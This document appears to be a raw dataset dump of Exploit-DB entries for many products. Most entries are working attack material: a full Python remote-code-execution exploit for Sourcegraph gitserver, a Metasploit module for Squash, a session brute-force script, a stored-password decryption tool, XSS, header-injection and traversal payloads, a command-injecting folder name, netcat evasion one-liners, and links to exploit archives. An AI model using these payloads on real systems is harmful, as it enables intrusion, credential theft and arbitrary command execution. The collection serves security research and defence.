deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22409
Description: Simple Chat 1.x - User Information Disclosure
Type: remote
Platform: multiple
Date: 2003-03-21
Author: subj

Exploit:
source: https://www.securityfocus.com/bid/7168/info

Simple Chat! does not restrict access to sensitive information by default. An attacker could use this information to launch attacks against other users.

http://www.example.com/chat/data/usr
Exploit-DB #22381
Description: SIPS 0.2.2 - User Information Disclosure
Type: remote
Platform: multiple
Date: 2003-03-18
Author: dwcgr0up

Exploit:
source: https://www.securityfocus.com/bid/7134/info

It has been reported that authentication is not required to view user account information. As a result, an unauthorized remote attacker may be able to view potentially sensitive information. This may aid in launching further attacks against a target user or system.

http://www.example.com/[sips_directory]/sipssys/users/[first_letter_of_UserID]/
Exploit-DB #23396
Description: SIRCD Server 0.5.2/0.5.3 - Operator Privilege Escalation
Type: remote
Platform: multiple
Date: 2003-11-20
Author: Victor Jerlin

Exploit:
source: https://www.securityfocus.com/bid/9097/info

sircd has been reported prone to a privilege escalation vulnerability. It has been reported that any user logged on to the sircd server, may set their usermode to +o, or operator mode.

An attacker may exploit this condition to hijack IRC channels or impersonate users, these privileges may aid the attacker in further attacks launched against the target server. 

MODE <nick> +o
Exploit-DB #38845
Description: SKIDATA Freemotion.Gate - Web Services Multiple Command Execution Vulnerabilities
Type: remote
Platform: multiple
Date: 2013-11-19
Author: Dennis Kelly

Exploit:
source: https://www.securityfocus.com/bid/63805/info

SKIDATA Freemotion.Gate is prone to multiple remote command-execution vulnerabilities.

Attackers can exploit these issues to execute arbitrary commands in the context of the affected system.

SKIDATA Freemotion.Gate 4.1.3.5 is vulnerable; other versions may also be affected. 

curl -X POST --header "Content-Type:text/xml" --data-binary @manual-release.raw http://www.example.com:7777/skidata/hessian/CP > /dev/null 2>&1
Exploit-DB #30523
Description: Skulltag Huffman 0.97d-beta4.1 - Packet Decompression Remote Heap Buffer Overflow
Type: remote
Platform: multiple
Date: 2007-08-23
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25423/info

Skulltag is prone to a remote heap-based buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied input.

Attackers can exploit this issue to execute arbitrary code with the privileges of the user running the application. Successful exploits may compromise affected computers. Failed attacks will likely cause denial-of-service conditions.

Skulltag 0.97d-beta4.1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30523.zip
Exploit-DB #36004
Description: Skype 5.3 - 'Mobile Phone' HTML Injection
Type: remote
Platform: multiple
Date: 2011-08-01
Author: noptrix

Exploit:
source: https://www.securityfocus.com/bid/48951/info

Skype is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Skype 5.3.0.120 and prior are vulnerable; other versions may also be affected. 

The following sample input is available:

"><iframe src='' onload=alert('mphone')>

A video demonstrating the attack is available. Please see the references for more information.
Exploit-DB #19221
Description: SmartDesk WebSuite 2.1 - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 1999-05-25
Author: cmart

Exploit:
source: https://www.securityfocus.com/bid/278/info

A buffer overflow vulnerability in SmartDesk WebSuite 2.1 allows malicious remote users to crash the server, and may at worst allow them to execute arbitrary code.

WebSuite 2.1 will crash when the filename requested is overly long. Test showed the filename length that crashed the server varied from 250 to over 2,000 bytes long. 

On Windows 98, append 150 to 1,000+ characters to the URL.

On Windows NT, append 250 to 2,000+ characters to the URL.

example:

http://hostname/[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000000
Exploit-DB #32084
Description: SmbClientParser 2.7 Perl Module - Remote Command Execution
Type: remote
Platform: multiple
Date: 2008-07-18
Author: Jesus Olmos Gonzalez

Exploit:
source: https://www.securityfocus.com/bid/30290/info

The SmbClientParser Perl module is prone to a remote command-execution vulnerability because it fails to sufficiently sanitize user-supplied data.

Successfully exploiting this issue will allow an attacker to execute arbitrary commands with the privileges of the user running applications that use the module.

Filesys::SmbClientParser 2.7 is vulnerable; other versions may also be affected.

Name a folder the following:
' x && xterm &#

A shared folder containing this named folder will execute the following command:
/usr/bin/smbclient "//x.x.x.x/vulns" -U "user%pass" -d0 -c 'cd "'x && xterm &#"' -D "/poc"
Exploit-DB #35316
Description: SMC Networks SMCD3G Session Management - Authentication Bypass
Type: remote
Platform: multiple
Date: 2011-02-04
Author: Zack Fasel & Matthew Jakubowski

Exploit:
source: https://www.securityfocus.com/bid/46178/info

The SMC Networks SMCD3G gateway is prone to a remote authentication-bypass vulnerability.

An attacker can exploit this issue to gain unauthorized administrative access to the affected devices.

#!/bin/bash
start=[PII_REDACTED]
end=[PII_REDACTED]
for (( i=$start; i<=$end; i++)) do if [ `curl -sb userid=$i
http://10.1.10.1/admin/index.asp | grep -c login.asp` -lt
"1" ] then echo "Session ID Found:  $i"
fi
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"
fi
done
Exploit-DB #24598
Description: SnipSnap 0.5.2 - HTTP Response Splitting
Type: remote
Platform: multiple
Date: 2004-09-14
Author: Maestro De-Seguridad

Exploit:
source: https://www.securityfocus.com/bid/11180/info

SnipSnap is reported prone to an HTTP response splitting vulnerability. The issue exists in the 'referer' parameter. The issue presents itself due to a flaw in the application that allows an attacker to manipulate how POST requests are handled.

This issue was identified in SnipSnap 0.5.2a and prior.

The following proof of concept example is available: 
POST /exec/authenticate HTTP/1.0
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197

referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:20%0d%
0a%0d%0a<html>0wned!!</html>&cancel=cancel
Exploit-DB #5790
Description: SNMPv3 - HMAC Validation error Remote Authentication Bypass
Type: remote
Platform: multiple
Date: 2008-06-12
Author: Maurizio Agazzini

Exploit:
#############################################################################
#                                                                           #
# snmpv3_exp.sh exploit the vulnerability described in CVE-2008-0960, the   #
# HMAC check problem (on multiple vendor)                                   #
#                                                                           #
# Copyright (c) 2008 @ Mediaservice.net Srl. All rights reserved            #
# Wrote by Maurizio Agazzini <inode[at]mediaservice.net>                    #
# http://lab.mediaservice.net/                                              #
#                                                                           #
#############################################################################

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5790.tgz (2008-snmpv3_exp.tgz)

# milw0rm.com [2008-06-12]
Exploit-DB #27931
Description: Snort 2.4.x - URIContent Rules Detection Evasion
Type: remote
Platform: multiple
Date: 2006-05-31
Author: Blake Hartstein

Exploit:
source: https://www.securityfocus.com/bid/18200/info

Snort is reportedly prone to a vulnerability that may allow malicious packets to bypass detection. 

A successful attack can allow attackers to bypass intrusion detection and to carry out attacks against computers protected by Snort.

This vulnerability affects Snort 2.4.4. Other versions may be vulnerable as well.

perl -e'print "GET /www.example.com?paramter=|backdoor\r http/1.0\r\n\r\n"'|nc vulnerable.server 80

perl -e 'print "GET \x90\x90\x0d http/1.0\r\n\r\n"'|nc 192.168.1.3 80

perl -e 'print "GET \x0d/index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 192.168.1.3 80
Exploit-DB #36537
Description: SonicWALL AntiSpam & EMail 7.3.1 - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2012-01-10
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/51337/info

SonicWall AntiSpam & EMail is prone to a cross-site scripting vulnerability, a URI-redirection vulnerability, and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or conduct phishing attacks. Other attacks are also possible.

AntiSpam & EMail 7.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/reports_mta_queue_status.html?hostname=greenland%22%3E%3C*

http://www.example.com/msg_viewer_user_mail.html?messageStoreId=shard_20100321/256665421/JUI&direction=
Exploit-DB #31756
Description: SonicWALL Email Security 6.1.1 - Error Page Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2008-05-08
Author: Deniz Cevik

Exploit:
source: https://www.securityfocus.com/bid/29107/info

SonicWALL Email Security is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input when displaying URI address data in an error page.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SonicWALL Email Security 6.1.1 is vulnerable; other versions may also be affected. 

GET /blah.htm HTTP/1.1 Host: "><script>alert('XSS');</script>
Exploit-DB #21453
Description: SonicWALL SOHO3 6.3 - Content Blocking Script Injection
Type: remote
Platform: multiple
Date: 2002-05-17
Author: E M

Exploit:
source: https://www.securityfocus.com/bid/4755/info

The Sonicwall SOHO3 is an Internet security appliance that provides firewall security solutions.

Reportedly, a vulnerability exists in the product that allows for a script injection attack to be launched from a malicious user within the internal LAN.

It is possible to configure Sonicwall to block domains from a list of user entered domains. Sonicwall will deny local users access to the websites that have been blocked. A malicious user may be able to inject script code as part of a URL of a blocked domain. Attempts to access blocked domains will be entered into the log files of Sonicwall. An administrator viewing the log files will automatically cause the malicious script code execute.

If the attacker's script code is injected into the logfile then the administrator will not be able to access the log normally. To regain access to the logs the appliance will need to be rebooted. It should be noted that rebooting the appliance will cause the logs to be cleared and will effectively eliminate any indication in the logs of which user initiated the attack.

It is possible for a malicious remote user to exploit this issue by crafting a URL of a known blocked domain that includes script code, and enticing a local user into following the link. 

bannerserver.gator.com/<SCRIPT>window.location.href="http://www.offroadwarehouse.com";</SCRIPT>

The script code will redirect a user to a different site.
Exploit-DB #48587
Description: SOS JobScheduler 1.13.3 - Stored Password Decryption
Type: remote
Platform: multiple
Date: 2020-06-15
Author: Sander Ubink

Exploit:
# Exploit Title: SOS JobScheduler 1.13.3 - Stored Password Decryption
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: Sander Ubink
# Vendor Homepage: www.sos-berlin.com
# Software Link: www.sos-berlin.com/en/jobscheduler-downloads
# Version: Tested on 1.12.9 and 1.13.3, vendor reported 1.12 and 1.13
# Tested on: Windows and Linux
# CVE: CVE-2020-12712

# Description: SOS JobScheduler is a tool for remote system administration that allows users to call maintenance scripts via a web interface. 
# The tool places the maintenance scripts on the remote systems by means of (S)FTP. It allows the user to save profiles for these connections, 
# in which the password for the (S)FTP connection is optionally stored. When the user chooses to store the password with the profile, 
# it is encrypted using the name of the profile as the encryption key. Since the name of the profile is stored in the same configuration file, 
# the plaintext (S)FTP password can trivially be recovered. The encryption algorithm used is Triple DES (3DES) with three keys, requiring a key 
# length of 24 bytes. The profile name is padded to this length to create the key. Finally, the encrypted password gets base64 encoded before 
# being stored in the configuration file.

# Usage: python jobscheduler-decrypt.py [encrypted password in base64] [profile name]

import pyDes
import base64
import argparse

parser = argparse.ArgumentParser(description="Decrypt the password stored in a Jobscheduler (S)FTP profile configuration file")
parser.add_argument("password", help="password to be decrypted")
parser.add_argument("profilename", help="name of the profile")
args = parser.parse_args()

if len(args.profilename) > 24:
	sys.exit("Profile name is longer than 24 characters. Check the validity of the input.")

key = args.profilename + ((24 - len(args.profilename)) * " ")
cipher = pyDes.triple_des(key, pyDes.ECB, b"\0\0\0\0\0\0\0\0", pad=" ", padmode=None)
plain = cipher.decrypt(base64.b64decode(args.password))

print(plain)
Exploit-DB #50964
Description: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2022-06-14
Author: Altelus

Exploit:
# Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)
# Date: 2022-06-10
# Exploit Author: Altelus
# Vendor Homepage: https://about.sourcegraph.com/
# Version: 3.63.3 
# Tested on: Linux
# CVE : CVE-2022-23642
# Docker Container: sourcegraph/server:3.36.3

# Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service. 
# This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed 
# on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible 
# if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3
#
# Exploitation parameters:
# - Exposed Sourcegraph gitserver
# - Existing repo on sourcegraph



import json
import argparse
import requests

def exploit(host, existing_git, cmd):

    # setting sshCommand
    data = {
        "Repo" : existing_git,
        "Args" : [
            "config",
            "core.sshCommand",
            cmd
        ]
    }

    res = requests.get(host+"/exec", json=data).text

    if len(res) > 0:
        print("[-] Didn't work: {}".format(res))
        exit(0)

    # setting fake origin
    data = {
        "Repo" : existing_git,
        "Args" : [
            "remote",
            "add",
            "origin",
            "git@lolololz:foo/bar.git"
        ]
    }

    res = requests.get(host+"/exec", json=data).text

    if len(res) > 0:
        print("[-] Didn't work: {}".format(res))
        exit(0)

    # triggering command using push
    data = {
        "Repo" : existing_git,
        "Args" : [
            "push",
            "origin",
            "master"
        ]
    }

    res = requests.get(host+"/exec", json=data).text

    print("[*] Finished executing exploit")

parser = argparse.ArgumentParser()

parser.add_argument('--gitserver-host', required=True, help="Target Sourcegraph Gitserver Host")
parser.add_argument('--existing-git', required=True, help="e.g. Link of existing repository in target Sourcegraph")
parser.add_argument('--cmd', required=True, help="Command to run")
args = parser.parse_args()

host = args.gitserver_host
existing_git = args.existing_git
cmd = args.cmd


exploit(host, existing_git, cmd)
Exploit-DB #36246
Description: Splunk 4.1.6 - 'segment' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-10-20
Author: Filip Palian

Exploit:
source: https://www.securityfocus.com/bid/50296/info

Splunk is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Splunk versions 4.2.2 and prior are vulnerable. 

http://www.example.com/en-US/prototype/segmentation_performance?lines=2&depth=2&segment=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&element=aaa&attribute=aaa&segmentation=flattened
Exploit-DB #36130
Description: Spring Security - HTTP Header Injection
Type: remote
Platform: multiple
Date: 2011-09-09
Author: David Mas

Exploit:
source: https://www.securityfocus.com/bid/49535/info

Spring Security is prone to a vulnerability that allows attackers to inject arbitrary HTTP headers because it fails to sufficiently sanitize input.

By inserting arbitrary headers into an HTTP response, attackers may be able to launch various attacks, including cross-site request forgery, cross-site scripting, and HTTP-request smuggling.

The following versions are vulnerable:

Spring Security 2.0.0 through 2.0.6
Spring Security 3.0.0 through 3.0.5 

http://www.example.com//mywebapp/logout/spring-security-redirect=%0d%0a%20NewHeader%3ainjectedValue
Exploit-DB #27530
Description: Squash - YAML Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2013-08-12
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Squash YAML Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        YAML request processor of the Squash application.
      },
      'Author'         =>
        [
          'Charlie Eriksen' # Discovery, initial exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
          [ 'OSVDB', '95992'],
          [ 'CVE', '2013-5036']
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>  [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Aug 06 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
      ], self.class)

  end

  def check
    response = send_request_cgi({
        'uri'     => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
        'method'  => 'POST',
        'ctype'   => 'application/json',
      })

    if response.code == 422
      print_status("Got HTTP 422 result, target may be vulnerable")
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    code = Rex::Text.encode_base64(payload.encoded)
    yaml =  "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
        "'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
        ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
    payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
    data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"

    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
      'method'  => 'POST',
      'ctype'   => 'application/json',
      'data'    => data
    })
  end
end
Exploit-DB #349
Description: SSH (x2) - Remote Command Execution
Type: remote
Platform: multiple
Date: 2002-05-01
Author: Teso

Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/349.tgz (x2.tgz)

# milw0rm.com [2002-05-01]
Exploit-DB #20091
Description: Stalker CommuniGate Pro 3.2.4 - Arbitrary File Read
Type: remote
Platform: multiple
Date: 2000-04-03
Author: S21Sec

Exploit:
source: https://www.securityfocus.com/bid/1493/info

A vulnerability exists in the CommuniGate Pro product, from Stalker. It is possible to exploit this vulnerability to read arbitrary files on the filesystem. As CommuniGate Pro runs as root, any file can be accessed. Using this flaw, it is possible to gain enough privilege to remotely execute commands as root. 

Retrieve the postmaster/manager configuration file:
homer:~$ telnet ilf 8010
Escape character is '^]'.
GET /Guide/../../../../../../../../../../../var/CommuniGate/Accounts/postmaster.macnt/account.settings HTTP/1.0

HTTP/1.0 200 OK
Content-Length: 61
Date: Mon, 03 Apr 2000 09:17:35 GMT
Content-Type: application/octet-stream
Server: CommuniGatePro/3.2.4
Expires: Tue, 04 Apr 2000 09:17:35 GMT

{ ExternalINBOX = NO; Password = 8093; UseAppPassword = YES;}
Connection closed by foreign host.
homer:~$

Using this information, it is possible to alter the configuration on the mail server to allow execution using its PIPE feature.
Exploit-DB #32565
Description: Struts 2.0.11 - Multiple Directory Traversal Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-11-04
Author: Csaba Barta

Exploit:
source: https://www.securityfocus.com/bid/32104/info

Struts is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the webserver process. Information obtained may aid in further attacks.

Versions prior to Struts 2.0.12 are vulnerable. 

http://www.example.com:8080/struts2-blank-2.0.11.1/struts..
http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f
http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Log\in.class/